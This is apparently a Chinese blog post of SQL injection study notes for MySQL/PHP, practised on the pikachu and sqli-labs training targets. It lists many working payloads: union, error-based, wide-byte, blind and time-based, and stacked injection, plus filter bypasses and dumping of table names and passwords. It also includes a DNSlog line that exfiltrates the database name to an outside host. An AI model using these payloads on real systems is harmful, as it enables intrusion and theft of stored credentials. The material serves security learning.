sql注入

sql注入点

前端页面上所有提交数据的地方,如登录,注册,留言板,评论区,搜索,分页等等,只要是提交数据给后台,后台拿着数据和数据库交互了,都可能存在注入点

union联合查询

payload:' union select username,password form users#

union联合查询的字段数要与前表字段数一致,否则报错

sql注入基础分类

按数据类型分类:数字型,字符型,搜索型,xx型

 搜索型注入后台数据库使用了模糊匹配

MySQL中的模糊匹配:

        select id, email from member where username like "%vin%";

搜索型payload:

        vin% ' or 1 = 1# 

 xx型将参数整体上加小括号作为一个整体

xx型注入时注意闭合小括号

        payload:vin') or 1 = 1#

php后端取请求数据

取cookie数据用 $_COOKIE["name"]

$_GET[] 取GET请求中的数据

$_POST 取出POST请求的数据

$REQUEST 都可以取出

$_GET取出查询参数数据,即使是POST请求,但查询参数在url中,也可以被$_GET取出

POST请求,请求体中有数据时,此时后端要用$_POST取数据,且POST请求的请求头中,要有

        Content-Type: application/x-www-form-urlencoded 这一键值对

HTTP请求头注入

 php取请求头中的数据用$_SERVER,如取出请求头中的User-Agent数据

         $_SERVER["HTTP_USER_AGENT"]

在可能与数据库交互的请求头中添加payload,如cookie,user-agent等

MySQL中的变量和函数

查看MySQL中的所有系统变量:show global variables;

查看mysql版本:select @@version; 

查看数据库所在的操作系统:select @@version_compile_os;

MySQL中常用的内置函数:

        查看当前用户:select user();

        查看当前数据库:select database();

        查看mysql版本:select version();

报错注入

当页面上无回显时可以考虑报错注入

MySQL中常用的报错函数:updatexml(); extractvalue(); floor(); 

利用updatexml语法错误爆出当前数据库:

         select updatexml(1,concat(0x7e,(select database(),0x7e),1);

利用extractvalue语法错误爆出当前用户:

         select extractvalue(1,concat(0x7e,(select user()),0x7e));

payload:

        ' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#

mysql5.1版本以上有一个默认的数据库information_schema,这个数据库下的tables表存着所有表的元数据信息,其中table_schema,是表对应的库名,还有个columns表,这个表中存着所有字段的元数据信息

爆表名payload:

         ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "pikachu" limit 0,1),0x7e),1)#

爆字段payload:

        ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = "users" limit 0,1),0x7e),1)#

爆字段内容payload:

        ' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#

宽字节注入

php中的转义函数:addslashes(),mysql_real_escape_string(),在特殊字符前添加转义字符

在php的配置文件php.ini中添加magic_quotes_gpc=On,开启全局添加转移函数处理sql语句 

\ 转义字符的gbk编码为0x5c

在gbk编码中两个十六进制数可以组合成一个汉字,基于此在0x5c前添加0xdf就可以将转义字符合成一个汉字,从而绕过转义函数的处理,宽字节注入就是利用这一特性

如原本的payload:' or 1 = 1#  在经过后端转义处理会失效,此时可以考虑宽字节注入,用bp抓包并进行url编码:%df%27+or+1+%3D+1%23,此时可绕过后端的转义的防御,宽字节注入只限于后端是gbk的编码

偏移量注入

偏移量注入用union select 联合查询,要注意前面的查询字段多,这样才可以进行偏移量注入

知道表名,但不知道列名时可以用偏移量注入,联合查询前面的查询列数要比注入的union后面的查询列数多 

        select * from member union select users.*, 1, 2, 3 from users;

union select 的特点是前后查询的字段数要一致,否则报错 

加密注入

 通过前端js代码对数据进行加密,然后以密文传输到服务端,在服务端采用相同的加密算法对数据进行解密,常见的编码加密base64,特点时一串大小写字符带等号

        加密注入,先通过bp抓包解密数据,然后注入payload,再进行整体的编码加密,然后发送请求,服务端会自动解密 

堆叠注入

MySQL中用分号连接的多个sql语句可以被同时执行

如:select * from users; insert into message values(1, "hello world");  这两个sql可以被同时执行

当后端采用php连接MySQL时,php中的执行sql语句的函数是mysqli_query()时不支持堆叠查询,这个函数只会执行分号前面的sql语句,如果php中执行sql语句的函数是 mysqli_multi_query()mysql_multi_query()时是支持堆叠查询的

SQL Server数据库都支持堆叠查询(任何语言的任何执行sql的函数)

Oracle数据库都不支持堆叠查询任何语言的任何执行sql的函数)

二次注入

以sqli-labs靶场为例(第24关)

第一步注入payload,在注册页面中的用户名处注入恶意代码:admin'#,让其保存到数据库中,形成脏数据 

第二步触发payload执行,用刚才注册的用户名密码登录,然后修改密码,修改密码的后端源码为:$sql = "update users set password = '$pass' where username = '$username' and password = '$curr_pass'";  此时就能修改掉admin用户的密码

中转注入

将数据包发送到中转服务器上可以统一处理,如很多网站采用了base64编码,此时就可以在中转程序上对数据参数做一个base64的编码处理,再发送到中转服务器上的参数就可以自动实现编码

伪静态注入

 伪静态网址如:http://192.168.2.12/thread-1-1-1.html

注入点:http://192.168.2.12/thread-1-1' or 1 = 1#-1.html

无回显

php中用mysqli_query()函数执行的sql默认不回显报错信息

php中用mysqli_error()函数可以打印sql语句的报错信息

在php的配置文件php.ini中开启报错显示:display_errors = On,关闭改为Off

盲注

针对于无回显的情况,连报错注入都不回显,可以使用盲注

布尔型盲注

mysql中的内置函数substr("hello",1,2),从字符串中截取子字符串,从第一个字符开始取出长度为2的子字符串,得到结果为:"he"

mysql中的ascii('a')函数可以将字符转换为对应的ASCII码的十进制形式,得到97

select ascii(substr(database(),1,1)); 查询当前数据库的名字,并取出数据库的第一个字符,然后将这个字符转换为ASCII码对应的十进制数,然后与英文字母的ASCII码值作比较,枚举出数据库

        payload:vince ' and ascii(substr(database(),1,1)) >= 112#

英文字符的ASCII码值范围:65~90(A-Z)    97~122(a-z)

mysql中的length("hello")函数,可以得出字符串的长度

得到数据库的长度:select length(database());

注入时判断数据库的长度:

        vince ' and length(database()) = 7#

先进行数据库长度的猜解,再进行数据库名的每一个字母的猜解

时间型盲注

mysql中的sleep函数,select sleep(3);  休眠3秒中

        payload: vince ' and sleep(6)#

        有延时效果说明存在sql注入点

mysql中的if语句:

        if(a > b, 表达式1,表达式2)  如果a>b为真,执行表达式1,否则执行表达式2

        select if(2 > 1, "yes", "no");        结果为yes

        select if(2>1, sleep(5), "no");        可以通过是否有延时来猜解数据

猜解数据库名:

        select if(substr(database(),1,1) = 'p', sleep(5),1);

        通过延时效果猜解数据库的第一个字母

        payload:vince' and if(substr(database(),1,1) = 'p', sleep(5),null)#

时间型盲注常用的函数:

sleep(5)  benchmark(1000000, md5(123))  benchmark是根据执行次数和执行时间达到延时的效果

DNSlog注入

利用mysql中的load_file()函数,不仅可以加载本地文件,还可以发送网络请求

具备DNSlog日志记录的网站:

http://ceye.io/

http://dnslog.cn/

load_file函数mysql默认是禁用的,开启load_file函数的使用,在mysql的配置文件my.ini中,在[mysqld]下添加 secure_file_priv="" 开启sql语句对文件的读写功能(load_file函数)

load_file读取本地文件: select load_file("c:\\aa.txt");

laod_file访问网址: select load_file("\\\\aaa.ceye.io");

获取数据库信息: select load_file(concat("\\\\",database(),.,"afae.ceye.io"));

绕过代码防御

前端代码绕过

如一些登录页面,会在前端做格式校验,此时需输入正确的数据格式,就能过js代码的格式校验,然后就可以通过bp抓包,注入payload 

后端代码绕过

1 过滤关键字

如后端对发送过来的数据进行了关键字过滤,如select,可以尝试大写SELECT来绕过

2 关键字替换

php中的str_replace()函数替换字符串,只替换一次

如后端代码:str_replace("select", "", "select * from users");  是将select替换为空字符串,此时可以通过大小写混合绕过双写绕过(selselectect * from users)

3 强类型转换

如提交的参数为:id=1 or 1 = 1

后端取出数据:$id = $_POST["id"]

类型转换:$id_int = intval($id)        此时转换报错,无法进行下一步的sql执行

后端sql语句:select * from users where id = $id_int

这种情况可以转换思路考虑重新寻找字符型注入漏洞

4 添加转移字符

后端对发送过来的数据做了特殊字符的转义处理,可以考虑宽字节注入或对引号进行特殊编码

读取数据库数据

order by 探测查询列数

后端代码:select id, email from member where username = '$name';

探测列数payload:vince' order by 1,2#        没报错说明列数猜对,查询了两个字段

mysql中的group_concat()函数,可以将查出来的多个字符串拼接成一个字符串,默认分隔符 ','

探测mysql中的所有数据库:

vince' union select 1, group_concat(schema_name) from information_schema.schemata#

information_schema库中的schemata表存着所有库的元数据信息,schema_name是库名字段

获取当前数据库中的所有表名:

vince' union select 1, group_concat(table_name) from information_schema.tables where table_schema = database()#

获取pikachu库中users表的所有字段名:

' union select 1, group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'#

获取users表中的具体数据:

' union select 1, group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users#

0x7c是|的十六进制表示,用于字符串之间的拼接分割标识

  • 27
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值